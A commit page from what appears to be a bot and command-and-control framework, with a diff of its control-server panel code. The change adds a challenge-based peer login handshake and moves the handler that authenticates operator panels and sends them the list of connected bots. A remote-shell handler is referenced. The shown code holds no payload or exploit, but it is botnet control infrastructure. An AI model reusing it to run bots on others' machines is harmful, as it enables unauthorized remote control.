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CNC, Lib, Bot, Shell: New 2nd stage handshake

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- New packet, LAIKAPKT_PEER_LOGIN_REQ
- All peers must prove they have access to the sent pubkey by passing a challenge. A salt is now sent on the handshake response packet, which must be encrypted and sent back through the PEER_LOGIN packet
- Protcol minor version incremented to 0.4
This commit is contained in:
CPunch
2022-06-29 20:31:22 -05:00
parent db05f2eb13
commit 8092a636ca
12 changed files with 126 additions and 66 deletions
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32
cnc/src/cpanel.c
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@@ -18,6 +18,11 @@ bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData)
return true;
}
void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{
laikaC_iterPeers(cnc, sendPanelPeerIter, (void *)authPeer);
}
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
{
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
@@ -46,33 +51,6 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
/* ================================[[ [Auth] Packet Handlers ]]================================= */
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
PEERTYPE type;
int i;
type = laikaS_readByte(&authPeer->sock);
switch (type) {
case PEER_AUTH:
/* check that peer's pubkey is authenticated */
if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount))
LAIKA_ERROR("unauthorized panel!\n");
/* notify cnc */
laikaC_setPeerType(cnc, authPeer, PEER_AUTH);
LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer);
/* they passed! send list of our peers */
laikaC_iterPeers(cnc, sendPanelPeerIter, (void *)authPeer);
break;
default:
LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type);
}
}
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData)
{